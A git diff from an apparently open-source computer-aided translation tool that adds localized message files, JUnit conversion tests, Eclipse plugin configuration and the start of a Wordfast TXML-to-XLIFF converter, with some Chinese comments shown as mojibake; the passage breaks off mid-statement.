+docxConvert.task3 = Exit conversion + +docx2Xlf.task1 = Retrieving header and footer information, generating XLIFF files... +docx2Xlf.task2 = Retrieving information for Document file, generating XLIFF files... +docx2Xlf.task3 = Generating XLIFF files... +docx2Xlf.task4 = Generating skeleton files... + +docx2Xlf.msg1 = Failed to convert DOCX to XLIFF. Please try again. +docx2Xlf.msg2 = Error: Unable to convert the file \"{0}\" . Please accept all changes in the file and try again. + +docx2Xlf.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +docx2Xlf.logger4 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger5 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger6 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u5171\u7528\u65f6\uff1a{} +docx2Xlf.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +PathUtil.msg1 = Unable to find folder {0} + +xlf2Docx.msg1 = Failed to convert XLIFF to DOCX. Please try again. + +xlf2Docx.task1 = Generating headers... +xlf2Docx.task2 = Generating footers... +xlf2Docx.task3 = Generating comments... +xlf2Docx.task4 = Generating foot notes... +xlf2Docx.task5 = Generating tail notes... +xlf2Docx.task5 = Generating Document file... +xlf2Docx.task6 = Generating Word 2007 file... + + +utils.FileFormatUtils.MSWORD2007 = Microsoft Word Document (DOCX) + + +##################################### 2012-09-05 robert add ########################################## +docxConvert.msg2 = Errors were found in the Word 2007 document. Failed to parse the subfile {0}.\nPlease try to open the document with MS Word 2007, then save it as a new DOCX document, then try again. + + diff --git a/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message_zh.properties new file mode 100644 index 0000000..0a2a098 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/src/net/heartsome/cat/converter/word2007/resource/message_zh.properties @@ -0,0 +1,45 @@ +##################################### 2012-08-30 robert \u6dfb\u52a0 ########################################## +docxConvert.msg1 = \u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\uff01 + +docxConvert.task1 = \u6b63\u5728\u89e3\u538b\u6587\u4ef6... +docxConvert.task2 = \u6b63\u5728\u538b\u7f29\u6587\u4ef6... +docxConvert.task3 = \u9000\u51fa\u8f6c\u6362 + +docx2Xlf.task1 = \u6b63\u5728\u83b7\u53d6\u9875\u7709\u9875\u811a\u7684\u4fe1\u606f\uff0c\u751f\u6210 XLIFF \u6587\u4ef6... +docx2Xlf.task2 = \u6b63\u5728\u83b7\u53d6 document \u6587\u4ef6\u7684\u4fe1\u606f\uff0c\u751f\u6210 XLIFF \u6587\u4ef6... +docx2Xlf.task3 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... +docx2Xlf.task4 = \u6b63\u5728\u751f\u6210\u9aa8\u67b6\u6587\u4ef6... + +docx2Xlf.msg1 = DOCX \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +docx2Xlf.msg2 = \u6587\u4ef6\u9519\u8bef\uff1a\u5f53\u524d\u6587\u6863 \"{0}\" \u672a\u63a5\u53d7\u4fee\u8ba2\uff0c\u65e0\u6cd5\u8fdb\u884c\u8f6c\u6362\uff0c\u8bf7\u63a5\u53d7\u6240\u6709\u4fee\u8ba2\u540e\u91cd\u8bd5\u3002 + +docx2Xlf.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +docx2Xlf.logger4 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger5 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger6 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u5171\u7528\u65f6\uff1a{} +docx2Xlf.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +docx2Xlf.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +PathUtil.msg1 = \u627e\u5230\u4e0d\u6587\u4ef6\u5939{0} + +xlf2Docx.msg1 = XLIFF \u8f6c\u6362 DOCX \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 + +xlf2Docx.task1 = \u6b63\u5728\u751f\u6210\u9875\u7709... +xlf2Docx.task2 = \u6b63\u5728\u751f\u6210\u9875\u811a... +xlf2Docx.task3 = \u6b63\u5728\u751f\u6210\u6279\u6ce8... +xlf2Docx.task4 = \u6b63\u5728\u751f\u6210\u811a\u6ce8... +xlf2Docx.task5 = \u6b63\u5728\u751f\u6210\u5c3e\u6ce8... +xlf2Docx.task5 = \u6b63\u5728\u751f\u6210 document \u6587\u4ef6... +xlf2Docx.task6 = \u6b63\u5728\u751f\u6210 word 2007 \u6587\u4ef6... + + +utils.FileFormatUtils.MSWORD2007 = Microsoft Word \u6587\u6863 (DOCX) + + +##################################### 2012-09-05 robert add ########################################## +docxConvert.msg2 = Word 2007 \u6587\u6863\u9519\u8bef\uff0c\u5b50\u6587\u4ef6 {0} \u89e3\u6790\u5931\u8d25\u3002\n\u8bf7\u5c1d\u8bd5\u7528 MS Word 2007 \u6253\u5f00\u8be5\u6587\u6863\uff0c\u53e6\u5b58\u4e3a\u4e00\u4e2a\u65b0\u7684 DOCX \u6587\u6863\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 + + diff --git a/hsconverter/net.heartsome.cat.converter.word2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/MSOffice2XliffTest.java b/hsconverter/net.heartsome.cat.converter.word2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/MSOffice2XliffTest.java new file mode 100644 index 0000000..d81bed1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/MSOffice2XliffTest.java @@ -0,0 +1,128 @@ +package net.heartsome.cat.converter.msoffice2007.test; + +import static org.junit.Assert.*; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.msoffice2007.MSOffice2Xliff; + +import org.junit.BeforeClass; +import org.junit.Test; + +public class MSOffice2XliffTest { + public static MSOffice2Xliff converter = new MSOffice2Xliff(); + private static String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + private static String srcDocxFile = "rc/Test.docx"; + private static String xlfDocxFile = "rc/Test.docx.xlf"; + private static String sklDocxFile = "rc/Test.docx.skl"; + + private static String srcXlsxFile = "rc/Test.xlsx"; + private static String xlfXlsxFile = "rc/Test.xlsx.xlf"; + private static String sklXlsxFile = "rc/Test.xlsx.skl"; + + private static String srcPptxFile = "rc/Test.pptx"; + private static String xlfPptxFile = "rc/Test.pptx.xlf"; + private static String sklPptxFile = "rc/Test.pptx.skl"; + + @BeforeClass + public static void setUp() { + File xlf = new File(xlfDocxFile); + if (xlf.exists()) { + xlf.delete(); + } + + File skl = new File(sklDocxFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfXlsxFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklXlsxFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfPptxFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklPptxFile); + if (skl.exists()) { + skl.delete(); + } + } + + @Test + public void testConvertXlsx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcXlsxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfXlsxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklXlsxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvertDocx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcDocxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfDocxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklDocxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } + + @Test + public void testConvertPptx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcPptxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfPptxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SKELETON_FILE, sklPptxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_LANGUAGE, "zh-CN"); //$NON-NLS-1$ + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); //$NON-NLS-1$ + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + args.put(Converter.ATTR_SRX, rootFolder + "srx/default_rules.srx"); + args.put(Converter.ATTR_PROGRAM_FOLDER, rootFolder); + + Map result = converter.convert(args, null); + String xliff = result.get(Converter.ATTR_XLIFF_FILE); + assertNotNull(xliff); + + File xlfFile = new File(xliff); + assertNotNull(xlfFile); + assertTrue(xlfFile.exists()); + } +} diff --git a/hsconverter/net.heartsome.cat.converter.word2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/Xliff2MSOfficeTest.java b/hsconverter/net.heartsome.cat.converter.word2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/Xliff2MSOfficeTest.java new file mode 100644 index 0000000..cf6c308 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.word2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/Xliff2MSOfficeTest.java @@ -0,0 +1,110 @@ +package net.heartsome.cat.converter.msoffice2007.test; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.msoffice2007.Xliff2MSOffice; + +import org.junit.BeforeClass; +import org.junit.Test; + +public class Xliff2MSOfficeTest { + public static Xliff2MSOffice converter = new Xliff2MSOffice(); + private String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + private static String xlfDocxFile = "rc/Test.docx.xlf"; + private static String sklDocxFile = "rc/Test.docx.skl"; + private static String tgtDocxFile = "rc/Test_en-US.docx"; + + private static String xlfXlsxFile = "rc/Test.xlsx.xlf"; + private static String sklXlsxFile = "rc/Test.xlsx.skl"; + private static String tgtXlsxFile = "rc/Test_en-US.xlsx"; + + private static String xlfPptxFile = "rc/Test.pptx.xlf"; + private static String sklPptxFile = "rc/Test.pptx.skl"; + private static String tgtPptxFile = "rc/Test_en-US.pptx"; + + @BeforeClass + public static void setUp() { + File tgt = new File(tgtXlsxFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtDocxFile); + if (tgt.exists()) { + tgt.delete(); + } + + tgt = new File(tgtPptxFile); + if (tgt.exists()) { + tgt.delete(); + } + } + + @Test + public void testConvertXlsx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtXlsxFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfXlsxFile); + args.put(Converter.ATTR_SKELETON_FILE, sklXlsxFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertDocx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtDocxFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfDocxFile); + args.put(Converter.ATTR_SKELETON_FILE, sklDocxFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + + @Test + public void testConvertPptx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_TARGET_FILE, tgtPptxFile); + args.put(Converter.ATTR_XLIFF_FILE, xlfPptxFile); + args.put(Converter.ATTR_SKELETON_FILE, sklPptxFile); + args.put(Converter.ATTR_SOURCE_ENCODING, "UTF-8"); + args.put(Converter.ATTR_CATALOGUE, rootFolder + + "catalogue/catalogue.xml"); + // args.put(Converter.ATTR_PROGRAM_FOLDER,rootFolder); + + Map result = converter.convert(args, null); + String target = result.get(Converter.ATTR_TARGET_FILE); + assertNotNull(target); + + File tgtFile = new File(target); + assertNotNull(tgtFile); + assertTrue(tgtFile.exists()); + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/.classpath b/hsconverter/net.heartsome.cat.converter.wordfast3/.classpath new file mode 100644 index 0000000..ad32c83 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/.classpath @@ -0,0 +1,7 @@ + + + + + + + diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/.gitignore b/hsconverter/net.heartsome.cat.converter.wordfast3/.gitignore new file mode 100644 index 0000000..5e56e04 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/.gitignore @@ -0,0 +1 @@ +/bin diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/.project b/hsconverter/net.heartsome.cat.converter.wordfast3/.project new file mode 100644 index 0000000..58d1269 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/.project @@ -0,0 +1,28 @@ + + + net.heartsome.cat.converter.wordfast3 + + + + + + org.eclipse.jdt.core.javabuilder + + + + + org.eclipse.pde.ManifestBuilder + + + + + org.eclipse.pde.SchemaBuilder + + + + + + org.eclipse.pde.PluginNature + org.eclipse.jdt.core.javanature + + diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/.settings/org.eclipse.jdt.core.prefs b/hsconverter/net.heartsome.cat.converter.wordfast3/.settings/org.eclipse.jdt.core.prefs new file mode 100644 index 0000000..92e8ae3 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/.settings/org.eclipse.jdt.core.prefs @@ -0,0 +1,8 @@ +#Thu Dec 13 14:05:50 CST 2012 +eclipse.preferences.version=1 +org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled +org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.6 +org.eclipse.jdt.core.compiler.compliance=1.6 +org.eclipse.jdt.core.compiler.problem.assertIdentifier=error +org.eclipse.jdt.core.compiler.problem.enumIdentifier=error +org.eclipse.jdt.core.compiler.source=1.6 diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/META-INF/MANIFEST.MF b/hsconverter/net.heartsome.cat.converter.wordfast3/META-INF/MANIFEST.MF new file mode 100644 index 0000000..ea3d229 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/META-INF/MANIFEST.MF @@ -0,0 +1,13 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Wordfast3 +Bundle-SymbolicName: net.heartsome.cat.converter.wordfast3 +Bundle-Version: 8.0.1.R8b_v20130327 +Bundle-Activator: net.heartsome.cat.converter.wordfast3.Activator +Require-Bundle: org.eclipse.ui, + org.eclipse.core.runtime, + net.heartsome.cat.converter;bundle-version="8.0.0", + net.heartsome.xml;bundle-version="8.0.0", + net.heartsome.cat.thirdpartlibrary;bundle-version="8.0.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: JavaSE-1.6 diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/build.properties b/hsconverter/net.heartsome.cat.converter.wordfast3/build.properties new file mode 100644 index 0000000..34d2e4d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/build.properties @@ -0,0 +1,4 @@ +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + . diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Activator.java b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Activator.java new file mode 100644 index 0000000..a78835c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Activator.java @@ -0,0 +1,83 @@ +package net.heartsome.cat.converter.wordfast3; + +import java.util.Properties; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.util.ConverterRegister; + +import org.eclipse.ui.plugin.AbstractUIPlugin; +import org.osgi.framework.BundleContext; +import org.osgi.framework.ServiceRegistration; + +/** + * Wordfast Pro åŒè¯­ XML 文件 (TXML) Wordfast Pro bilingual XML file (TXML) + */ +public class Activator extends AbstractUIPlugin { + + // The plug-in ID + public static final String PLUGIN_ID = "net.heartsome.cat.converter.wordfast3"; //$NON-NLS-1$ + + // The shared instance + private static Activator plugin; + + /** wordFast3文件转æ¢è‡³xliff文件的æœåŠ¡æ³¨å†Œå™¨ */ + @SuppressWarnings("rawtypes") + private ServiceRegistration wf2XliffSR; + /** xliff文件转æ¢è‡³wordFast3文件的æœåŠ¡æ³¨å†Œå™¨ */ + @SuppressWarnings("rawtypes") + private ServiceRegistration xliff2WfSR; + + /** + * The constructor + */ + public Activator() { + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + plugin = this; + + Converter wf2Xliff = new Wf2Xliff(); + Properties properties = new Properties(); + properties.put(Converter.ATTR_NAME, Wf2Xliff.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Wf2Xliff.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Wf2Xliff.TYPE_NAME_VALUE); + wf2XliffSR = ConverterRegister.registerPositiveConverter(context, wf2Xliff, properties); + + Converter xliff2Wf = new Xliff2Wf(); + properties = new Properties(); + properties.put(Converter.ATTR_NAME, Xliff2Wf.NAME_VALUE); + properties.put(Converter.ATTR_TYPE, Xliff2Wf.TYPE_VALUE); + properties.put(Converter.ATTR_TYPE_NAME, Xliff2Wf.TYPE_NAME_VALUE); + xliff2WfSR = ConverterRegister.registerReverseConverter(context, xliff2Wf, properties); + } + + /* + * (non-Javadoc) + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + if (wf2XliffSR != null) { + wf2XliffSR.unregister(); + wf2XliffSR = null; + } + if (xliff2WfSR != null) { + xliff2WfSR.unregister(); + xliff2WfSR = null; + } + plugin = null; + } + + /** + * Returns the shared instance + * + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/CommentBean.java b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/CommentBean.java new file mode 100644 index 0000000..da84ef6 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/CommentBean.java @@ -0,0 +1,73 @@ +package net.heartsome.cat.converter.wordfast3; + +/** + * 批注的 pojo ç±» + * @author robert 2012-12-13 + */ +public class CommentBean { + /** 标注的作者,对应 creationid */ + private String user; + + /** 标注的添加时间 对应 creationdate */ + private String date; + /** 标注的类型,对应 type */ + private String type; + /** 标注的文件 */ + private String commentText; + /** wf 文件的批注节点的所有属性的字符串 */ + private String commentAttrStr; + + public CommentBean(){} + + public CommentBean(String user, String date, String type, String commentText, String commentAttrStr){ + this.user = user; + this.date = date; + this.type = type; + this.commentText = commentText; + this.commentAttrStr = commentAttrStr; + } + + public String getUser() { + return user; + } + + public void setUser(String user) { + this.user = user; + } + + + public String getDate() { + return date; + } + + public void setDate(String date) { + this.date = date; + } + + public String getCommentText() { + return commentText; + } + + public void setCommentText(String commentText) { + this.commentText = commentText; + } + + public String getCommentAttrStr() { + return commentAttrStr; + } + + public void setCommentAttrStr(String commentAttrStr) { + this.commentAttrStr = commentAttrStr; + } + + public String getType() { + return type; + } + + public void setType(String type) { + this.type = type; + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/TagBean.java b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/TagBean.java new file mode 100644 index 0000000..c6b8253 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/TagBean.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.converter.wordfast3; + +import java.util.LinkedHashMap; +import java.util.Map; + +/** + * 标记的 pojo ç±» + * @author robert 2012-12-19 + */ +public class TagBean { + private String content; + private String frag; + private Map attributesMap = new LinkedHashMap(); + + public TagBean(){} + + public TagBean(String content, String frag, Map attributesMap){ + this.content = content; + this.frag = frag; + this.attributesMap = attributesMap; + } + + public String getContent() { + return content; + } + + public void setContent(String content) { + this.content = content; + } + + public String getFrag() { + return frag; + } + + public void setFrag(String frag) { + this.frag = frag; + } + + public Map getAttributesMap() { + return attributesMap; + } + + public void setAttributesMap(Map attributesMap) { + this.attributesMap = attributesMap; + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/TuBean.java b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/TuBean.java new file mode 100644 index 0000000..81cacf8 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/TuBean.java @@ -0,0 +1,59 @@ +package net.heartsome.cat.converter.wordfast3; + +import java.util.List; + +/** + * wordFast çš„ txml 文件与 hsxliff 文件的翻译å•å…ƒçš„ pojo ç±» + * @author robert 2012-12-13 + */ +public class TuBean { + private String srcContent; + private String tgtContent; + /** 匹é…率 */ + private String match; + private List commentList; + + public TuBean(){} + + public TuBean(String srcContent, String tgtContent, String match, List commentList){ + this.srcContent = srcContent; + this.tgtContent = tgtContent; + this.match = match; + this.commentList = commentList; + } + + public String getSrcContent() { + return srcContent; + } + + public void setSrcContent(String srcContent) { + this.srcContent = srcContent; + } + + public String getTgtContent() { + return tgtContent; + } + + public void setTgtContent(String tgtContent) { + this.tgtContent = tgtContent; + } + + public String getMatch() { + return match; + } + + public void setMatch(String match) { + this.match = match; + } + + public List getCommentList() { + return commentList; + } + + public void setCommentList(List commentList) { + this.commentList = commentList; + } + + + +} diff --git a/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Wf2Xliff.java b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Wf2Xliff.java new file mode 100644 index 0000000..96f3a3c --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.wordfast3/src/net/heartsome/cat/converter/wordfast3/Wf2Xliff.java @@ -0,0 +1,628 @@ +package net.heartsome.cat.converter.wordfast3; + +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.text.MessageFormat; +import java.text.ParsePosition; +import java.text.SimpleDateFormat; +import java.util.ArrayList; +import java.util.Date; +import java.util.HashMap; +import java.util.LinkedHashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.wordfast3.resource.Messages; +import net.heartsome.util.CRC16; +import net.heartsome.util.TextUtil; +import net.heartsome.xml.vtdimpl.VTDUtils; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.ximpleware.AutoPilot; +import com.ximpleware.NavException; +import com.ximpleware.VTDGen; +import com.ximpleware.VTDNav; +import com.ximpleware.XMLModifier; +import com.ximpleware.XPathEvalException; +import com.ximpleware.XPathParseException; + +public class Wf2Xliff implements Converter{ + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "txml"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("utils.FileFormatUtils.WF"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "TXML to XLIFF Conveter"; + + public static final Logger LOGGER = LoggerFactory.getLogger(Wf2Xliff.class); + + @Override + public Map convert(Map args, + IProgressMonitor monitor) throws ConverterException { + Wf2XliffImpl converter = new Wf2XliffImpl(); + return converter.run(args, monitor); + } + + @Override + public String getName() { + return NAME_VALUE; + } + + @Override + public String getType() { + return TYPE_VALUE; + } + + @Override + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + + class Wf2XliffImpl{ + /** æºæ–‡ä»¶ */ + private String inputFile; + /** 转æ¢æˆçš„XLIFF文件(临时文件) */ + private String xliffFile; + /** 骨架文件(临时文件) */ + private String skeletonFile; + /** æºè¯­è¨€ */ + private String userSourceLang; + /** 目标语言 */ + private String targetLang; + /** 转æ¢çš„ç¼–ç æ ¼å¼ */ + private String srcEncoding; + /** 将数æ®è¾“出到XLIFFæ–‡ä»¶çš„è¾“å‡ºæµ */ + private FileOutputStream output; + private boolean lockXtrans; + private boolean lock100; + private boolean isSuite; + /** 转æ¢å·¥å…·çš„ID */ + private String qtToolID; + /** 解æžéª¨æž¶æ–‡ä»¶çš„VTDNav实例 */ + private VTDNav sklVN; + private XMLModifier sklXM; + + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + monitor.beginTask("Converting...", 5); + Map result = new HashMap(); + + inputFile = params.get(Converter.ATTR_SOURCE_FILE); + xliffFile = params.get(Converter.ATTR_XLIFF_FILE); + skeletonFile = params.get(Converter.ATTR_SKELETON_FILE); + targetLang = params.get(Converter.ATTR_TARGET_LANGUAGE); + userSourceLang = params.get(Converter.ATTR_SOURCE_LANGUAGE); + srcEncoding = params.get(Converter.ATTR_SOURCE_ENCODING); + + isSuite = false; + if 